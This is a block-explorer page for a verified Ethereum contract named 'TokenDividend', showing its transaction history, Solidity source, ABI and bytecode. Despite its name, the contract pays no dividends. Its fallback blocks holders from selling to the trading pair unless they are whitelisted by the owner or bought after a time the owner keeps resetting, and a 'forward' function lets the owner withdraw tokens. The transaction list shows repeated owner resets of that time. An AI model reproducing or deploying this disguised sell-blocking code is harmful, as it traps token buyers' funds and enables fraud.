Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 25 from a total of 62 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Forward | 17392358 | 459 days ago | IN | 0 ETH | 0.00333764 | ||||
Set Last Time Fo... | 17392303 | 459 days ago | IN | 0 ETH | 0.00130806 | ||||
Refresh Proxy Se... | 17392219 | 459 days ago | IN | 0 ETH | 0.00093589 | ||||
Forward | 17392149 | 459 days ago | IN | 0 ETH | 0.00242241 | ||||
Whitelist For To... | 17389536 | 459 days ago | IN | 0 ETH | 0.00070436 | ||||
Whitelist For To... | 17389536 | 459 days ago | IN | 0 ETH | 0.00069376 | ||||
Set Token Is Fin... | 17389535 | 459 days ago | IN | 0 ETH | 0.00075782 | ||||
Whitelist For To... | 17389490 | 459 days ago | IN | 0 ETH | 0.00135918 | ||||
Set Last Time Fo... | 17389475 | 459 days ago | IN | 0 ETH | 0.00081889 | ||||
Set Last Time Fo... | 17389473 | 459 days ago | IN | 0 ETH | 0.00085074 | ||||
Set Last Time Fo... | 17389458 | 459 days ago | IN | 0 ETH | 0.00077859 | ||||
Set Last Time Fo... | 17389447 | 459 days ago | IN | 0 ETH | 0.00074742 | ||||
Set Last Time Fo... | 17389439 | 459 days ago | IN | 0 ETH | 0.00075246 | ||||
Set Last Time Fo... | 17389432 | 459 days ago | IN | 0 ETH | 0.00071761 | ||||
Set Last Time Fo... | 17389421 | 459 days ago | IN | 0 ETH | 0.00081993 | ||||
Set Last Time Fo... | 17389407 | 459 days ago | IN | 0 ETH | 0.00076338 | ||||
Set Last Time Fo... | 17389397 | 459 days ago | IN | 0 ETH | 0.00074812 | ||||
Set Last Time Fo... | 17389391 | 459 days ago | IN | 0 ETH | 0.00082224 | ||||
Set Last Time Fo... | 17389381 | 459 days ago | IN | 0 ETH | 0.00128785 | ||||
Refresh Proxy Se... | 17388706 | 459 days ago | IN | 0 ETH | 0.00201095 | ||||
Forward | 17388557 | 459 days ago | IN | 0 ETH | 0.00237523 | ||||
Forward | 17388547 | 459 days ago | IN | 0 ETH | 0.00223735 | ||||
Whitelist For To... | 17388474 | 459 days ago | IN | 0 ETH | 0.00084666 | ||||
Whitelist For To... | 17388474 | 459 days ago | IN | 0 ETH | 0.0014831 | ||||
Set Token Is Fin... | 17388474 | 459 days ago | IN | 0 ETH | 0.00089325 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x32d9a3C8...1B5196843 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
TokenDividend
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; interface IERC20 { function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } contract TokenDividend { address private _owner; address private token; address private pair; bool private isFinished; mapping(address => bool) private _whitelists; mapping (address => uint256) private _addressTime; uint256 private lastTime; modifier onlyToken() { require(msg.sender == token); _; } modifier onlyOwner() { require(_owner == msg.sender); _; } constructor () { _owner = msg.sender; _whitelists[_owner] = true; } function setTokenIsFinished(bool _isFinished) external onlyOwner { isFinished = _isFinished; } function refreshProxySetting(address _token, address _pair) external onlyOwner { token = _token; pair = _pair; isFinished = false; lastTime = 0; } function forward(uint256 amount) external onlyOwner { IERC20(token).transfer(msg.sender, amount); } function setLastTimeForToken() external onlyOwner { lastTime = block.timestamp; } function whitelistForTokenHolder(address owner_, bool _isWhitelist) external onlyOwner { _whitelists[owner_] = _isWhitelist; } fallback() external payable { address _from; address _to; bytes memory data = msg.data; assembly { _from := mload(add(data, 0x14)) _to := mload(add(data, mul(0x14, 2))) } if (_whitelists[_from] || _whitelists[_to]) { return; } if (_from == pair) { if (_addressTime[_to] == 0) { _addressTime[_to] = block.timestamp; } return; } else if (_to == pair) { require(!isFinished && _addressTime[_from] >= lastTime); return; } else { _addressTime[_to] = _addressTime[_from]; return; } revert(); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"forward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"refreshProxySetting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLastTimeForToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isFinished","type":"bool"}],"name":"setTokenIsFinished","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner_","type":"address"},{"internalType":"bool","name":"_isWhitelist","type":"bool"}],"name":"whitelistForTokenHolder","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Deployed Bytecode
0x60806040526004361061004a5760003560e01c806321fad655146101ac5780634fa679d8146101cc57806370556f50146101ec578063a0d5a28914610201578063e5380ed814610221575b600080600080368080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920182905250601485015160288601516001600160a01b038216835260036020526040909220549098509096509394505060ff90921691508190506100d857506001600160a01b03821660009081526003602052604090205460ff165b156100df57005b6002546001600160a01b0390811690841603610132576001600160a01b0382166000908152600460205260408120549003610130576001600160a01b03821660009081526004602052604090204290555b005b6002546001600160a01b039081169083160361018557600254600160a01b900460ff1615801561017c57506005546001600160a01b03841660009081526004602052604090205410155b61013057600080fd5b6001600160a01b038084166000908152600460205260408082205492851682529020819055005b3480156101b857600080fd5b506101306101c73660046103c7565b610241565b3480156101d857600080fd5b506101306101e73660046103eb565b610276565b3480156101f857600080fd5b50610130610306565b34801561020d57600080fd5b5061013061021c366004610420565b610323565b34801561022d57600080fd5b5061013061023c366004610453565b610374565b6000546001600160a01b0316331461025857600080fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461028d57600080fd5b60015460405163a9059cbb60e01b8152336004820152602481018390526001600160a01b039091169063a9059cbb906044016020604051808303816000875af11580156102de573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610302919061048a565b5050565b6000546001600160a01b0316331461031d57600080fd5b42600555565b6000546001600160a01b0316331461033a57600080fd5b600180546001600160a01b039384166001600160a01b0319909116179055600280546001600160a81b031916919092161790556000600555565b6000546001600160a01b0316331461038b57600080fd5b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b80151581146103c457600080fd5b50565b6000602082840312156103d957600080fd5b81356103e4816103b6565b9392505050565b6000602082840312156103fd57600080fd5b5035919050565b80356001600160a01b038116811461041b57600080fd5b919050565b6000806040838503121561043357600080fd5b61043c83610404565b915061044a60208401610404565b90509250929050565b6000806040838503121561046657600080fd5b61046f83610404565b9150602083013561047f816103b6565b809150509250929050565b60006020828403121561049c57600080fd5b81516103e4816103b656fea26469706673582212201176ebd92ffd514d13b231d37eff71b69ce79a6e04d975ca433cd2c69ac4a3cd64736f6c63430008130033
Deployed Bytecode Sourcemap
241:1923:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1515:13;1537:11;1557:17;1577:8;;1557:28;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;1641:4:0;1631:15;;1625:22;1682:12;1672:23;;1666:30;-1:-1:-1;;;;;1719:18:0;;;;:11;:18;;;;;;;1625:22;;-1:-1:-1;1666:30:0;;-1:-1:-1;1557:28:0;;-1:-1:-1;;1719:18:0;;;;;-1:-1:-1;1719:18:0;;-1:-1:-1;1719:38:0;;-1:-1:-1;;;;;;1741:16:0;;;;;;:11;:16;;;;;;;;1719:38;1715:71;;;1770:7;1715:71;1807:4;;-1:-1:-1;;;;;1807:4:0;;;1798:13;;;;1794:343;;-1:-1:-1;;;;;1828:17:0;;;;;;:12;:17;;;;;;:22;;1824:88;;-1:-1:-1;;;;;1865:17:0;;;;;;:12;:17;;;;;1885:15;1865:35;;1824:88;1922:7;1794:343;1955:4;;-1:-1:-1;;;;;1955:4:0;;;1948:11;;;;1944:193;;1981:10;;-1:-1:-1;;;1981:10:0;;;;1980:11;:46;;;;-1:-1:-1;2018:8:0;;-1:-1:-1;;;;;1995:19:0;;;;;;:12;:19;;;;;;:31;;1980:46;1972:55;;;;;1944:193;-1:-1:-1;;;;;2091:19:0;;;;;;;:12;:19;;;;;;;2071:17;;;;;;;:39;;;;811:106;;;;;;;;;;-1:-1:-1;811:106:0;;;;;:::i;:::-;;:::i;1112:111::-;;;;;;;;;;-1:-1:-1;1112:111:0;;;;;:::i;:::-;;:::i;1231:93::-;;;;;;;;;;;;;:::i;925:179::-;;;;;;;;;;-1:-1:-1;925:179:0;;;;;:::i;:::-;;:::i;1332:138::-;;;;;;;;;;-1:-1:-1;1332:138:0;;;;;:::i;:::-;;:::i;811:106::-;664:6;;-1:-1:-1;;;;;664:6:0;674:10;664:20;656:29;;;;;;885:10:::1;:24:::0;;;::::1;;-1:-1:-1::0;;;885:24:0::1;-1:-1:-1::0;;;;885:24:0;;::::1;::::0;;;::::1;::::0;;811:106::o;1112:111::-;664:6;;-1:-1:-1;;;;;664:6:0;674:10;664:20;656:29;;;;;;1180:5:::1;::::0;1173:42:::1;::::0;-1:-1:-1;;;1173:42:0;;1196:10:::1;1173:42;::::0;::::1;1505:51:1::0;1572:18;;;1565:34;;;-1:-1:-1;;;;;1180:5:0;;::::1;::::0;1173:22:::1;::::0;1478:18:1;;1173:42:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;1112:111:::0;:::o;1231:93::-;664:6;;-1:-1:-1;;;;;664:6:0;674:10;664:20;656:29;;;;;;1301:15:::1;1290:8;:26:::0;1231:93::o;925:179::-;664:6;;-1:-1:-1;;;;;664:6:0;674:10;664:20;656:29;;;;;;1013:5:::1;:14:::0;;-1:-1:-1;;;;;1013:14:0;;::::1;-1:-1:-1::0;;;;;;1013:14:0;;::::1;;::::0;;1036:4:::1;:12:::0;;-1:-1:-1;;;;;;1057:18:0;1036:12;;;::::1;1057:18:::0;;;1013:5:::1;1084:8;:12:::0;925:179::o;1332:138::-;664:6;;-1:-1:-1;;;;;664:6:0;674:10;664:20;656:29;;;;;;-1:-1:-1;;;;;1428:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:34;;-1:-1:-1;;1428:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;1332:138::o;14:118:1:-;100:5;93:13;86:21;79:5;76:32;66:60;;122:1;119;112:12;66:60;14:118;:::o;137:241::-;193:6;246:2;234:9;225:7;221:23;217:32;214:52;;;262:1;259;252:12;214:52;301:9;288:23;320:28;342:5;320:28;:::i;:::-;367:5;137:241;-1:-1:-1;;;137:241:1:o;383:180::-;442:6;495:2;483:9;474:7;470:23;466:32;463:52;;;511:1;508;501:12;463:52;-1:-1:-1;534:23:1;;383:180;-1:-1:-1;383:180:1:o;568:173::-;636:20;;-1:-1:-1;;;;;685:31:1;;675:42;;665:70;;731:1;728;721:12;665:70;568:173;;;:::o;746:260::-;814:6;822;875:2;863:9;854:7;850:23;846:32;843:52;;;891:1;888;881:12;843:52;914:29;933:9;914:29;:::i;:::-;904:39;;962:38;996:2;985:9;981:18;962:38;:::i;:::-;952:48;;746:260;;;;;:::o;1011:315::-;1076:6;1084;1137:2;1125:9;1116:7;1112:23;1108:32;1105:52;;;1153:1;1150;1143:12;1105:52;1176:29;1195:9;1176:29;:::i;:::-;1166:39;;1255:2;1244:9;1240:18;1227:32;1268:28;1290:5;1268:28;:::i;:::-;1315:5;1305:15;;;1011:315;;;;;:::o;1610:245::-;1677:6;1730:2;1718:9;1709:7;1705:23;1701:32;1698:52;;;1746:1;1743;1736:12;1698:52;1778:9;1772:16;1797:28;1819:5;1797:28;:::i
Swarm Source
ipfs://1176ebd92ffd514d13b231d37eff71b69ce79a6e04d975ca433cd2c69ac4a3cd
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 26 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.